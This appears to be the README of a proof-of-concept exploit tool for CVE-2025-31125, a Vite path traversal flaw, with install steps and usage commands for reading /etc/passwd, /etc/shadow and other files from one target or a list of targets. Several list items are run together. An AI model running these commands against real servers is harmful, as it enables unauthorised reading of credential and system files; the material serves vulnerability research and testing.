0xgh057r3c0n/cve-2025-31125Vite WASM Import Path Traversal 🛡️
This script is a proof-of-concept (PoC) exploit for CVE-2025-31125, a vulnerability found in Vite. The exploit leverages a WASM Import Path Traversal issue to retrieve sensitive files from vulnerable servers running the Vite framework. It allows attackers to access files like /etc/passwd, /etc/shadow, /etc/hosts, and other sensitive files exposed by the server. ⚠️
This tool is for educational purposes only and should only be used on systems you own or have explicit permission to test. Unauthorized access to systems is illegal and can result in legal consequences. Use this tool responsibly! ⚖️
/etc/passwd, , and more! 💻/etc/shadowrequests library 📦urllib3 library 🔒toilet (optional, for banner) 🎨pip3 install -r requirements.txt
To install toilet (optional for banner) on your system:
sudo apt install toiletbrew install toiletgit clone https://github.com/0xgh057r3c0n/CVE-2025-31125.git
cd CVE-2025-31125
pip3 install -r requirements.txt
To use the script, provide either a single target URL using -u or a file with multiple target URLs using -f.
-u, --url: Target a single URL. 🌐-f, --file: Provide a file with a list of target URLs (one per line). 📄--path: Specify the path to exploit (e.g., /etc/passwd, /etc/shadow). Default is /etc/passwd. 🛠️--no-verify: Disable SSL verification (useful for self-signed certificates). 🔒/etc/passwd)python3 exploit.py -u https://example.com --no-verify
/etc/shadow)python3 exploit.py -u https://example.com --no-verify --path /etc/shadow
/etc/passwd)python3 exploit.py -f targets.txt --no-verify
/etc/hosts)python3 exploit.py -f targets.txt --no-verify --path /etc/hosts
🙋♂️ Contact (For Collaboration, Research & Cybersecurity Discussions):
This project is licensed under the MIT License. 🌟
